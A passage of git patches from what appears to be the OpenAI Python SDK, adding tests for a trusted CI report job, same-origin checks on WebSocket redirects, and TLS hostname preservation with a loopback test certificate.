+ # A successful compute job's outputs survive a comment-only rerun.
+ compute_context = {"github.run_id": "9", "github.run_attempt": "3"}
+ uploaded_name = resolve(field(compute, " name: "), compute_context)
+ saved_attempt = resolve(field(compute, " artifact-run-attempt: "), compute_context)
+ comment_context = {
+ "github.run_id": "9",
+ "github.run_attempt": "4",
+ "needs.compute.outputs.artifact-run-attempt": saved_attempt,
+ }
+ artifact_attempt = resolve(
+ field(comment, " ARTIFACT_RUN_ATTEMPT: "), comment_context
+ )
+ self.assertEqual(uploaded_name, "castiron-custom-code-9-3")
+ self.assertEqual(artifact_attempt, "3")
+
+ _, base = self.baseline()
+ result, _ = report.build_report(self.repo, base, base)
+ pull = {"state": "open", "head": {"sha": base}, "base": {"sha": base}}
+ run = {
+ "event": "pull_request",
+ "path": ".github/workflows/castiron-custom-code.yml",
+ "head_sha": base,
+ "run_attempt": 1,
+ "pull_requests": [{"number": 1}],
+ }
+ with mock.patch.object(
+ report, "api", side_effect=[pull, run, [], pull, {"html_url": "published"}]
+ ) as api:
+ self.assertEqual(
+ report.publish_comment(
+ result,
+ "openai/example",
+ 1,
+ 2,
+ 1,
+ artifact_run_id=9,
+ artifact_run_attempt=int(artifact_attempt),
+ ),
+ "published",
+ )
+ body = api.call_args.args[2]["body"]
+ self.assertIn(f"--name {uploaded_name}", body)
+ self.assertNotIn("--name castiron-custom-code-9-4", body)
+ self.assertIn("castiron:run:v1:2:1", body)
+
+ def test_trusted_report_recomputes_pr_output_in_a_bare_repository(self) -> None:
+ generated, _ = self.baseline()
+ content_hash = report.hash_codegen_commit(self.repo, generated)
+ snapshot = report.create_public_snapshot(
+ self.repo,
+ self.git("rev-parse", f"{generated}^{{tree}}"),
+ GENERATION,
+ content_hash,
+ "codegen/public-test",
+ None,
+ )
+ self.git("branch", "codegen/public-test", snapshot)
+ stats = (self.repo / ".castiron.stats.yml").read_text()
+ self.write(".castiron.stats.yml", stats + f"public_codegen_sha: {snapshot}\n")
+ base = self.commit()
+ legitimate, _ = report.build_report(self.repo, base, base, require_head_hash=True)
+ self.write("generated.py", "generated\n# custom\n")
+ # Neither a replacement reporter nor its claimed result may be executed
+ # or read by the trusted job.
+ self.write(
+ "scripts/castiron/custom_code_report.py", "raise RuntimeError('PR code ran')\n"
+ )
+ self.write("report.json", json.dumps(legitimate))
+ head = self.commit()
+ broken_stats = (
+ (self.repo / ".castiron.stats.yml").read_text().replace(content_hash, "0" * 64)
+ )
+ self.write(".castiron.stats.yml", broken_stats)
+ broken = self.commit()
+ remote = self.repo / "public.git"
+ self.git("clone", "--bare", str(self.repo), str(remote))
+ real_git = report.git
+
+ def local_git(repo: Path, *args: str, input_bytes: bytes | None = None) -> bytes:
+ if args[:3] == ("remote", "add", "origin"):
+ self.assertEqual(args[3], "https://github.com/openai/example.git")
+ args = (*args[:3], str(remote))
+ self.assertNotIn("checkout", args)
+ return real_git(repo, *args, input_bytes=input_bytes)
+
+ for label, revision in (("genuine", base), ("custom", head), ("broken", broken)):
+ with self.subTest(label=label):
+ calls: list[tuple[str, str]] = []
+ bodies: list[str] = []
+ pull = {
+ "state": "open",
+ "head": {"sha": revision},
+ "base": {"sha": base, "repo": {"full_name": "openai/example"}},
+ }
+ run: dict[str, Any] = {
+ "event": "pull_request",
+ "status": "completed",
+ "path": ".github/workflows/castiron-custom-code.yml",
+ "head_sha": revision,
+ "run_attempt": 1,
+ "pull_requests": [],
+ }
+ forged: dict[str, Any] = {**legitimate, "head_sha": revision, "files": []}
+ self.assertIn("Generated baselines verified", report.render_report(forged))
+ producer = self.repo / f"producer-{label}"
+ producer.mkdir()
+ (producer / "report.json").write_text(json.dumps(forged))
+
+ def fake_api(
+ method: str, path: str, payload: dict[str, Any] | None = None
+ ) -> Any:
+ calls.append((method, path))
+ if method == "GET":
+ responses: dict[str, Any] = {
+ "repos/openai/example": {"private": False},
+ "repos/openai/example/actions/runs/2": run,
+ f"repos/openai/example/commits/{revision}/pulls?per_page=100": [
+ {"number": 1}
+ ],
+ "repos/openai/example/pulls/1": pull,
+ "repos/openai/example/issues/1/comments?per_page=100&page=1": [],
+ }
+ if path in responses:
+ return responses[path]
+ if (
+ method == "POST"
+ and path == "repos/openai/example/issues/1/comments"
+ and payload
+ ):
+ bodies.append(payload["body"])
+ return {
+ "html_url": "https://github.com/openai/example/pull/1#issuecomment-1"
+ }
+ raise AssertionError(f"unexpected API call: {method} {path}")
+
+ objects = self.repo / f"objects-{label}.git"
+ out = self.repo / f"trusted-{label}"
+ with (
+ mock.patch.object(report, "api", side_effect=fake_api),
+ mock.patch.object(report, "git", side_effect=local_git),
+ ):
+ report.trusted_report(objects, "openai/example", 2, 1, out)
+ self.assertTrue(all(method == "GET" for method, _ in calls))
+ self.assertEqual(
+ real_git(objects, "rev-parse", "--is-bare-repository"), b"true\n"
+ )
+ self.assertFalse((objects / "scripts").exists())
+ actual = json.loads((out / "report.json").read_text())
+ report.publish_comment(
+ actual,
+ "openai/example",
+ 1,
+ 2,
+ 1,
+ artifact_run_id=9,
+ artifact_run_attempt=3,
+ )
+ self.assertEqual(len(bodies), 1)
+ body = bodies[0]
+ self.assertIn("castiron:run:v1:2:1", body)
+ self.assertIn("/actions/runs/9", body)
+ if label == "broken":
+ self.assertIn("Report unavailable", body)
+ self.assertNotIn("Generated baselines verified", body)
+ elif label == "custom":
+ self.assertIn("1 newly customized", body)
+ self.assertIn("generated.py", body)
+ self.assertIn(b"+# custom", (out / "custom-code.patch").read_bytes())
+ self.assertNotIn("No new custom-code files detected", body)
+ else:
+ self.assertIn("No new custom-code files detected", body)
+ self.assertIn("Generated baselines verified", body)
+ self.assertIn("--name castiron-custom-code-9-3", body)
+
+ def test_trusted_report_rejects_invalid_or_stale_association_before_fetch(self) -> None:
+ run = {
+ "event": "pull_request",
+ "status": "completed",
+ "path": ".github/workflows/castiron-custom-code.yml",
+ "head_sha": "a" * 40,
+ "run_attempt": 1,
+ "pull_requests": [{"number": 1}],
+ }
+ pull = {
+ "state": "open",
+ "head": {"sha": "a" * 40},
+ "base": {"sha": "b" * 40, "repo": {"full_name": "openai/example"}},
+ }
+ cases: list[tuple[list[Any], bool]] = [
+ ([{**run, "path": "other.yml"}], True),
+ ([{**run, "status": "in_progress"}], True),
+ ([{**run, "run_attempt": 2}], False),
+ ([run, {**pull, "state": "closed"}], False),
+ ([run, {**pull, "head": {"sha": "c" * 40}}], False),
+ (
+ [run, {**pull, "base": {"sha": "b" * 40, "repo": {"full_name": "other/repo"}}}],
+ False,
+ ),
+ ([{**run, "pull_requests": []}, []], False),
+ ([{**run, "pull_requests": [{"number": 1}, {"number": 2}]}, pull, pull], True),
+ ]
+ for responses, raises in cases:
+ with (
+ self.subTest(responses=responses),
+ mock.patch.object(report, "api", side_effect=responses),
+ mock.patch.object(report, "git") as git,
+ ):
+ if raises:
+ with self.assertRaises(report.ReportError):
+ report.trusted_report(
+ self.repo / "objects", "openai/example", 2, 1, self.repo / "out"
+ )
+ else:
+ report.trusted_report(
+ self.repo / "objects", "openai/example", 2, 1, self.repo / "out"
+ )
+ git.assert_not_called()
+ self.assertFalse((self.repo / "out").exists())
def test_removals_include_changed_baselines_but_not_handwritten_only_files(self) -> None:
_, base = self.baseline()
From 1b324d044dcedc377e688c405416f928b0aedfb6 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 17:47:32 +0000
Subject: [PATCH 051/341] fix: apply consistent origin checks to WebSocket
redirects (#3693)
## Summary
Apply consistent origin checks to WebSocket redirects across async
Realtime and Responses, including reconnections. Reuse the existing
Azure guard while preserving same-origin redirects, Azure behavior, and
synchronous behavior.
## Validation
- 148 focused tests passed, including socket-free redirect and reconnect
regressions.
- Compatibility checks passed with websockets 13.0, 13.1, 14.0, 14.2,
and locked 15.0.1.
- Repository lint, Pyright, mypy, and import checks passed.
- No dependency changes.
---
src/openai/lib/_azure_websocket.py | 18 +-
src/openai/lib/_websocket.py | 25 ++
.../resources/beta/realtime/realtime.py | 2 +-
.../resources/beta/responses/responses.py | 2 +-
src/openai/resources/realtime/realtime.py | 2 +-
src/openai/resources/responses/responses.py | 2 +-
tests/lib/test_websocket_redirects.py | 226 ++++++++++++++++++
tests/test_debug_logging.py | 2 +-
8 files changed, 259 insertions(+), 20 deletions(-)
create mode 100644 src/openai/lib/_websocket.py
create mode 100644 tests/lib/test_websocket_redirects.py
diff --git a/src/openai/lib/_azure_websocket.py b/src/openai/lib/_azure_websocket.py
index 36620cd21f..fb47d6a09e 100644
--- a/src/openai/lib/_azure_websocket.py
+++ b/src/openai/lib/_azure_websocket.py
@@ -1,23 +1,11 @@
from __future__ import annotations
-from typing_extensions import override
-
-from websockets.uri import parse_uri
-from websockets.exceptions import SecurityError
-from websockets.asyncio.client import connect
+from ._websocket import _WebSocketConnect
__all__ = ["_AzureWebSocketConnect"]
-class _AzureWebSocketConnect(connect):
+class _AzureWebSocketConnect(_WebSocketConnect):
"""Keep Azure's WebSocket authentication on the original origin."""
- @override
- def process_redirect(self, exc: Exception) -> Exception | str:
- uri_or_exc = super().process_redirect(exc)
- if isinstance(uri_or_exc, str):
- current = parse_uri(self.uri)
- target = parse_uri(uri_or_exc)
- if (current.secure, current.host, current.port) != (target.secure, target.host, target.port):
- return SecurityError("Cross-origin Azure WebSocket redirects are not allowed")
- return uri_or_exc
+ _redirect_error_message = "Cross-origin Azure WebSocket redirects are not allowed"
diff --git a/src/openai/lib/_websocket.py b/src/openai/lib/_websocket.py
new file mode 100644
index 0000000000..5ca93864df
--- /dev/null
+++ b/src/openai/lib/_websocket.py
@@ -0,0 +1,25 @@
+from __future__ import annotations
+
+from typing_extensions import override
+
+from websockets.uri import parse_uri
+from websockets.exceptions import SecurityError
+from websockets.asyncio.client import connect
+
+__all__ = ["_WebSocketConnect"]
+
+
+class _WebSocketConnect(connect):
+ """Keep WebSocket authentication on the original origin."""
+
+ _redirect_error_message = "Cross-origin WebSocket redirects are not allowed"
+
+ @override
+ def process_redirect(self, exc: Exception) -> Exception | str:
+ uri_or_exc = super().process_redirect(exc)
+ if isinstance(uri_or_exc, str):
+ current = parse_uri(self.uri)
+ target = parse_uri(uri_or_exc)
+ if (current.secure, current.host, current.port) != (target.secure, target.host, target.port):
+ return SecurityError(self._redirect_error_message)
+ return uri_or_exc
diff --git a/src/openai/resources/beta/realtime/realtime.py b/src/openai/resources/beta/realtime/realtime.py
index 5365001707..7124287c0e 100644
--- a/src/openai/resources/beta/realtime/realtime.py
+++ b/src/openai/resources/beta/realtime/realtime.py
@@ -352,7 +352,7 @@ async def __aenter__(self) -> AsyncRealtimeConnection:
```
"""
try:
- from websockets.asyncio.client import connect
+ from ....lib._websocket import _WebSocketConnect as connect
except ImportError as exc:
raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 48025c7dea..c9d1120fcc 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -4514,7 +4514,7 @@ async def __aenter__(self) -> AsyncResponsesConnection:
async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> AsyncWebSocketConnection:
try:
- from websockets.asyncio.client import connect
+ from ....lib._websocket import _WebSocketConnect as connect
except ImportError as exc:
raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 62ba3e4e54..3cb815bddf 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -682,7 +682,7 @@ async def __aenter__(self) -> AsyncRealtimeConnection:
async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> AsyncWebSocketConnection:
try:
- from websockets.asyncio.client import connect
+ from ...lib._websocket import _WebSocketConnect as connect
except ImportError as exc:
raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 3f01319a38..2232b1a05d 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -4409,7 +4409,7 @@ async def __aenter__(self) -> AsyncResponsesConnection:
async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> AsyncWebSocketConnection:
try:
- from websockets.asyncio.client import connect
+ from ...lib._websocket import _WebSocketConnect as connect
except ImportError as exc:
raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
diff --git a/tests/lib/test_websocket_redirects.py b/tests/lib/test_websocket_redirects.py
new file mode 100644
index 0000000000..2ae84e6bfb
--- /dev/null
+++ b/tests/lib/test_websocket_redirects.py
@@ -0,0 +1,226 @@
+from __future__ import annotations
+
+import asyncio
+from typing import Any, Callable
+from unittest.mock import Mock, AsyncMock
+
+import httpx2
+import pytest
+from websockets.uri import WebSocketURI
+from websockets.http11 import Response
+from websockets.exceptions import InvalidStatus, SecurityError
+from websockets.asyncio.client import connect
+from websockets.datastructures import Headers, HeadersLike
+
+from openai import OpenAI, AsyncOpenAI, AsyncAzureOpenAI
+from openai.lib._websocket import _WebSocketConnect
+from openai.types.websocket_reconnection import ReconnectingEvent
+
+RESOURCES = ["realtime", "beta.realtime", "responses", "beta.responses"]
+RECONNECTING_RESOURCES = [name for name in RESOURCES if name != "beta.realtime"]
+EXTRA_HEADERS = {"api-key": "fake-key", "Cookie": "fake-cookie", "X-Custom": "fake-private-header"}
+FOLLOWS_REDIRECTS = hasattr(connect, "process_redirect")
+
+
+def unexpected_http(_request: httpx2.Request) -> httpx2.Response:
+ pytest.fail("Unexpected HTTP request")
+
+
+def async_http_client() -> httpx2.AsyncClient:
+ return httpx2.AsyncClient(transport=httpx2.MockTransport(unexpected_http))
+
+
+def resource(client: Any, name: str) -> Any:
+ for part in name.split("."):
+ client = getattr(client, part)
+ return client
+
+
+def options(name: str) -> dict[str, Any]:
+ return {"extra_headers": EXTRA_HEADERS, **({"model": "fake-model"} if name.endswith("realtime") else {})}
+
+
+def redirect_error(location: str) -> InvalidStatus:
+ return InvalidStatus(Response(302, "Found", Headers({"Location": location})))
+
+
+def no_proxy(_uri: WebSocketURI) -> None:
+ return None
+
+
+def reconnect(_event: ReconnectingEvent) -> None:
+ return None
+
+
+class Handshakes:
+ """Exercise the installed connector's handshake loop without opening sockets."""
+
+ def __init__(self, monkeypatch: pytest.MonkeyPatch, redirects: list[str | None]) -> None:
+ self.redirects = iter(redirects)
+ self.attempts: list[tuple[WebSocketURI, Headers]] = []
+ self.sent: list[tuple[WebSocketURI, str]] = []
+ monkeypatch.setattr(asyncio.get_running_loop(), "create_connection", self.create_connection)
+ # websockets 15 can discover proxies before reaching create_connection.
+ monkeypatch.setattr("websockets.asyncio.client.get_proxy", no_proxy, raising=False)
+
+ async def create_connection(self, factory: Callable[[], Any], **_kwargs: Any) -> tuple[Mock, Mock]:
+ protocol = factory().protocol
+ # The Sans-I/O protocol renamed wsuri to uri in websockets 15.
+ uri: WebSocketURI = protocol.uri if hasattr(protocol, "uri") else protocol.wsuri
+ websocket = Mock()
+
+ async def handshake(headers: HeadersLike | None, _user_agent: str | None) -> None:
+ self.attempts.append((uri, Headers(headers or {})))
+ location = next(self.redirects)
+ if location is not None:
+ raise redirect_error(location)
+
+ async def send(data: str) -> None:
+ self.sent.append((uri, data))
+
+ websocket.handshake = AsyncMock(side_effect=handshake)
+ websocket.send = AsyncMock(side_effect=send)
+ websocket.close = AsyncMock()
+ return websocket.transport, websocket
+
+
+@pytest.mark.parametrize("name", RESOURCES)
+@pytest.mark.parametrize(
+ "base,target,allowed",
+ [
+ ("wss://origin.test", None, True),
+ ("wss://origin.test", "/final", True),
+ ("wss://origin.test", "wss://ORIGIN.test:443/final", True),
+ ("wss://origin.test", "wss://other.test/final", False),
+ ("wss://origin.test", "//other.test/final", False),
+ ("wss://origin.test", "wss://origin.test:444/final", False),
+ ("wss://origin.test", "ws://origin.test/final", False),
+ ("ws://origin.test", "wss://origin.test/final", False),
+ ],
+)
+async def test_async_websocket_redirects(
+ monkeypatch: pytest.MonkeyPatch, name: str, base: str, target: str | None, allowed: bool
+) -> None:
+ handshakes = Handshakes(monkeypatch, [target, None])
+ succeeds = allowed and (target is None or FOLLOWS_REDIRECTS)
+ async with AsyncOpenAI(
+ api_key="fake-entra-token",
+ websocket_base_url=base,
+ http_client=async_http_client(),
+ ) as client:
+ manager = resource(client, name).connect(**options(name))
+ if name in RECONNECTING_RESOURCES:
+ manager.send({"type": "response.create"})
+ if succeeds:
+ async with manager as connection:
+ await connection.send({"type": "response.create"})
+ else:
+ expected = SecurityError if FOLLOWS_REDIRECTS else InvalidStatus
+ with pytest.raises(expected):
+ async with manager:
+ pytest.fail("Unexpected connection")
+
+ assert len(handshakes.attempts) == (2 if succeeds and target else 1)
+ for uri, headers in handshakes.attempts:
+ assert (uri.secure, uri.host, uri.port) == (
+ base.startswith("wss:"),
+ "origin.test",
+ 443 if base.startswith("wss:") else 80,
+ )
+ assert headers["Authorization"] == "Bearer fake-entra-token"
+ for key, value in EXTRA_HEADERS.items():
+ assert headers[key] == value
+ assert bool(handshakes.sent) is succeeds
+ assert all(uri.host == "origin.test" for uri, _ in handshakes.sent)
+
+
+@pytest.mark.skipif(not FOLLOWS_REDIRECTS, reason="No automatic handshake redirects")
+@pytest.mark.parametrize("name", RESOURCES)
+async def test_later_cross_origin_redirect_is_rejected(monkeypatch: pytest.MonkeyPatch, name: str) -> None:
+ handshakes = Handshakes(monkeypatch, ["/intermediate", "wss://other.test/final", None])
+ async with AsyncOpenAI(
+ api_key="fake-key", websocket_base_url="wss://origin.test", http_client=async_http_client()
+ ) as client:
+ with pytest.raises(SecurityError):
+ async with resource(client, name).connect(**options(name)):
+ pytest.fail("Unexpected connection")
+ assert len(handshakes.attempts) == 2
+ assert all(uri.host == "origin.test" for uri, _ in handshakes.attempts)
+ assert handshakes.sent == []
+
+
+@pytest.mark.parametrize("name", RECONNECTING_RESOURCES)
+@pytest.mark.parametrize(
+ "target", ["/final", "wss://other.test/final", "wss://origin.test:444/final", "ws://origin.test/final"]
+)
+async def test_async_websocket_reconnect_redirects(monkeypatch: pytest.MonkeyPatch, name: str, target: str) -> None:
+ handshakes = Handshakes(monkeypatch, [None, target, None])
+ succeeds = target == "/final" and FOLLOWS_REDIRECTS
+ async with AsyncOpenAI(
+ api_key="fake-key", websocket_base_url="wss://origin.test", http_client=async_http_client()
+ ) as client:
+ manager = resource(client, name).connect(
+ **options(name), on_reconnecting=reconnect, initial_delay=0, max_retries=1
+ )
+ async with manager as connection:
+ connection._send_queue.enqueue("fake-queued-message")
+ assert await connection._reconnect(RuntimeError("fake disconnect")) is succeeds
+ assert (connection._send_queue._bytes == 0) is succeeds
+
+ assert len(handshakes.attempts) == (3 if succeeds else 2)
+ assert all((uri.secure, uri.host, uri.port) == (True, "origin.test", 443) for uri, _ in handshakes.attempts)
+ assert [data for _, data in handshakes.sent] == (["fake-queued-message"] if succeeds else [])
+ for _, headers in handshakes.attempts:
+ assert headers["Authorization"] == "Bearer fake-key"
+
+
+@pytest.mark.parametrize("name", ["realtime", "beta.realtime"])
+@pytest.mark.parametrize("target", ["/final", "wss://other.test/final"])
+async def test_async_azure_guard_is_preserved(monkeypatch: pytest.MonkeyPatch, name: str, target: str) -> None:
+ handshakes = Handshakes(monkeypatch, [target, None])
+ succeeds = target == "/final" and FOLLOWS_REDIRECTS
+ async with AsyncAzureOpenAI(
+ api_key="fake-key",
+ azure_endpoint="https://origin.test",
+ api_version="2024-01-01",
+ http_client=async_http_client(),
+ ) as client:
+ manager = resource(client, name).connect(model="fake-model")
+ if succeeds:
+ async with manager:
+ pass
+ else:
+ expected = SecurityError if FOLLOWS_REDIRECTS else InvalidStatus
+ with pytest.raises(expected):
+ async with manager:
+ pytest.fail("Unexpected connection")
+ assert len(handshakes.attempts) == (2 if succeeds else 1)
+ assert all(uri.host == "origin.test" and headers["api-key"] == "fake-key" for uri, headers in handshakes.attempts)
+
+
+@pytest.mark.parametrize("name", RESOURCES)
+def test_sync_websocket_connector_is_unchanged(monkeypatch: pytest.MonkeyPatch, name: str) -> None:
+ websocket = Mock()
+ connect_mock = Mock(return_value=websocket)
+ monkeypatch.setattr("websockets.sync.client.connect", connect_mock)
+ with OpenAI(
+ api_key="fake-key",
+ websocket_base_url="wss://origin.test",
+ http_client=httpx2.Client(transport=httpx2.MockTransport(unexpected_http)),
+ ) as client:
+ with resource(client, name).connect(**options(name)):
+ pass
+ error = redirect_error("wss://other.test/final")
+ connect_mock.side_effect = error
+ with pytest.raises(InvalidStatus) as caught:
+ with resource(client, name).connect(**options(name)):
+ pytest.fail("Unexpected connection")
+ assert caught.value is error
+ assert connect_mock.call_count == 2
+ assert connect_mock.call_args.kwargs["additional_headers"]["Authorization"] == "Bearer fake-key"
+
+
+@pytest.mark.skipif(not FOLLOWS_REDIRECTS, reason="No automatic handshake redirects")
+def test_non_redirect_error_is_preserved() -> None:
+ error = InvalidStatus(Response(401, "Unauthorized", Headers()))
+ assert _WebSocketConnect("wss://origin.test/realtime").process_redirect(error) is error
diff --git a/tests/test_debug_logging.py b/tests/test_debug_logging.py
index 2f7c033c67..3ba51161c4 100644
--- a/tests/test_debug_logging.py
+++ b/tests/test_debug_logging.py
@@ -246,7 +246,7 @@ async def test_websocket_connection_metadata(
kwargs["model"] = "fake-model"
with (
caplog.at_level(logging.DEBUG, logger="openai"),
- patch("websockets." + ("asyncio" if asynchronous else "sync") + ".client.connect", connect),
+ patch("openai.lib._websocket._WebSocketConnect" if asynchronous else "websockets.sync.client.connect", connect),
):
if asynchronous:
async with AsyncOpenAI(
From aa5fbc401f179fc515905d84623718c2b66ec653 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 18:34:20 +0000
Subject: [PATCH 052/341] fix: preserve the configured TLS hostname (#3694)
## Summary
- Preserve the configured TLS hostname and retain explicit transport
settings.
- Add offline sync/async request and TLS regression tests for HTTPX2,
legacy HTTPX, aiohttp, and X.509 forwarding.
## Validation
- Focused and nearby tests: 320 passed, 2 skipped.
- Ruff, formatting, focused Pyright, and focused mypy passed.
- Tests use fake credentials and a loopback-only server with an
ephemeral certificate.
---
scripts/utils/validate-httpx2-wheel.py | 5 +-
src/openai/_base_client.py | 3 -
tests/test_tls_hostname.py | 258 +++++++++++++++++++++++++
3 files changed, 261 insertions(+), 5 deletions(-)
create mode 100644 tests/test_tls_hostname.py
diff --git a/scripts/utils/validate-httpx2-wheel.py b/scripts/utils/validate-httpx2-wheel.py
index 42bf72d177..2d3e0bba5d 100644
--- a/scripts/utils/validate-httpx2-wheel.py
+++ b/scripts/utils/validate-httpx2-wheel.py
@@ -13,6 +13,7 @@
BASE_TEST = ROOT / "tests/test_httpx2_base.py"
HTTPX2_TEST = ROOT / "tests/test_httpx2.py"
LEGACY_TEST = ROOT / "tests/test_httpx_compat.py"
+TLS_TEST = ROOT / "tests/test_tls_hostname.py"
def venv_python(environment_path: Path) -> Path:
@@ -109,8 +110,8 @@ def main() -> None:
run_case(
wheel,
extra=None,
- tests=[LEGACY_TEST],
- dependencies=[*common, "httpx-aiohttp>=0.2.0,<0.3"],
+ tests=[LEGACY_TEST, TLS_TEST],
+ dependencies=[*common, "httpx-aiohttp>=0.2.0,<0.3", "cryptography>=50.0.0"],
legacy=True,
)
print("Validated HTTPX2-only base and aiohttp installs plus isolated legacy HTTPX/aiohttp compatibility")
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index 23813a2bb0..f195d04816 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -576,9 +576,6 @@ def _build_request(
if params and prepared_url.query:
params = {**dict(prepared_url.params.items()), **params}
prepared_url = prepared_url.copy_with(raw_path=prepared_url.raw_path.split(b"?", 1)[0])
- if "_" in prepared_url.host:
- # work around https://github.com/encode/httpx/discussions/2880
- kwargs["extensions"] = {"sni_hostname": prepared_url.host.replace("_", "-")}
is_body_allowed = options.method.lower() != "get"
diff --git a/tests/test_tls_hostname.py b/tests/test_tls_hostname.py
new file mode 100644
index 0000000000..6bcb5497f4
--- /dev/null
+++ b/tests/test_tls_hostname.py
@@ -0,0 +1,258 @@
+from __future__ import annotations
+
+import ssl
+import socket
+import datetime
+import importlib
+import threading
+import importlib.util
+from typing import Any, cast
+from pathlib import Path
+from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
+from collections.abc import Iterator
+from typing_extensions import override
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, APIConnectionError, DefaultAioHttpClient
+from openai.auth import x509_workload_identity
+
+HOSTS = ["sdk-host.test", "sdk_host.test", "sub_name.sdk_host.test"]
+HTTP_LIBRARIES = ["httpx2", "httpx"]
+
+
+def http_library(name: str) -> Any:
+ if importlib.util.find_spec(name) is None:
+ pytest.skip(f"{name} is not installed")
+ return cast(Any, importlib.import_module(name))
+
+
+@pytest.mark.parametrize("library", HTTP_LIBRARIES)
+@pytest.mark.parametrize("host", HOSTS)
+@pytest.mark.parametrize("explicit_sni", [None, "private-pki.test"])
+@pytest.mark.parametrize("x509", [False, True])
+def test_sync_request_preserves_tls_hostname(library: str, host: str, explicit_sni: str | None, x509: bool) -> None:
+ http = http_library(library)
+ requests: list[Any] = []
+
+ def handler(request: Any) -> Any:
+ if request.url.host == "mtls.auth.openai.com":
+ return http.Response(200, json={"access_token": "fake-token", "expires_in": 3600})
+ requests.append(request)
+ return http.Response(200, json={"object": "list", "data": []})
+
+ def hook(request: Any) -> None:
+ if explicit_sni is not None:
+ request.extensions["sni_hostname"] = explicit_sni
+
+ identity = x509_workload_identity(identity_provider_id="fake-provider", service_account_id="fake-account")
+ with OpenAI(
+ api_key=None if x509 else "fake-api-key",
+ workload_identity=identity if x509 else None,
+ base_url=f"https://{host}/v1",
+ http_client=http.Client(
+ transport=http.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ ),
+ max_retries=0,
+ ) as client:
+ response = client.get(
+ f"https://{host}/v1/models?configured=1", cast_to=http.Response, options={"params": {"request": "2"}}
+ )
+ assert response.json()["object"] == "list"
+
+ assert len(requests) == 1
+ assert requests[0].url.host == host
+ assert requests[0].headers["host"] == host
+ assert requests[0].url.params["configured"] == "1"
+ assert requests[0].url.params["request"] == "2"
+ assert requests[0].extensions.get("sni_hostname") == explicit_sni
+ assert "timeout" in requests[0].extensions
+
+
+@pytest.mark.parametrize("library", HTTP_LIBRARIES)
+@pytest.mark.parametrize("host", HOSTS)
+@pytest.mark.parametrize("explicit_sni", [None, "private-pki.test"])
+@pytest.mark.parametrize("x509", [False, True])
+async def test_async_request_preserves_tls_hostname(
+ library: str, host: str, explicit_sni: str | None, x509: bool
+) -> None:
+ http = http_library(library)
+ requests: list[Any] = []
+
+ async def handler(request: Any) -> Any:
+ if request.url.host == "mtls.auth.openai.com":
+ return http.Response(200, json={"access_token": "fake-token", "expires_in": 3600})
+ requests.append(request)
+ return http.Response(200, json={"object": "list", "data": []})
+
+ async def hook(request: Any) -> None:
+ if explicit_sni is not None:
+ request.extensions["sni_hostname"] = explicit_sni
+
+ identity = x509_workload_identity(identity_provider_id="fake-provider", service_account_id="fake-account")
+ async with AsyncOpenAI(
+ api_key=None if x509 else "fake-api-key",
+ workload_identity=identity if x509 else None,
+ base_url=f"https://{host}/v1",
+ http_client=http.AsyncClient(
+ transport=http.MockTransport(handler), event_hooks={"request": [hook]}, trust_env=False
+ ),
+ max_retries=0,
+ ) as client:
+ response = await client.get(
+ f"https://{host}/v1/models?configured=1", cast_to=http.Response, options={"params": {"request": "2"}}
+ )
+ assert response.json()["object"] == "list"
+
+ assert len(requests) == 1
+ assert requests[0].url.host == host
+ assert requests[0].headers["host"] == host
+ assert requests[0].url.params["configured"] == "1"
+ assert requests[0].url.params["request"] == "2"
+ assert requests[0].extensions.get("sni_hostname") == explicit_sni
+ assert "timeout" in requests[0].extensions
+
+
+@pytest.fixture
+def tls_server(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Iterator[tuple[int, ssl.SSLContext, list[str]]]:
+ # Generate a short-lived, test-only certificate and key; never check in private keys.
+ pytest.importorskip("cryptography")
+ from cryptography import x509
+ from cryptography.x509.oid import NameOID
+ from cryptography.hazmat.primitives import hashes, serialization
+ from cryptography.hazmat.primitives.asymmetric import rsa
+
+ key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+ name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, HOSTS[0])])
+ now = datetime.datetime.now(datetime.timezone.utc)
+ cert = (
+ x509.CertificateBuilder()
+ .subject_name(name)
+ .issuer_name(name)
+ .public_key(key.public_key())
+ .serial_number(x509.random_serial_number())
+ .not_valid_before(now - datetime.timedelta(minutes=1))
+ .not_valid_after(now + datetime.timedelta(days=1))
+ .add_extension(x509.SubjectAlternativeName([x509.DNSName(HOSTS[0])]), critical=False)
+ .sign(key, hashes.SHA256())
+ )
+ cert_path = tmp_path / "server.pem"
+ key_path = tmp_path / "server.key"
+ cert_path.write_bytes(cert.public_bytes(serialization.Encoding.PEM))
+ key_path.write_bytes(
+ key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
+ )
+ server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
+ server_context.minimum_version = ssl.TLSVersion.TLSv1_2
+ server_context.load_cert_chain(cert_path, key_path)
+ client_context = ssl.create_default_context(cafile=str(cert_path))
+ requests: list[str] = []
+
+ class Handler(BaseHTTPRequestHandler):
+ def do_GET(self) -> None:
+ requests.append(self.headers["Host"])
+ body = b'{"object":"list","data":[]}'
+ self.send_response(200)
+ self.send_header("Content-Type", "application/json")
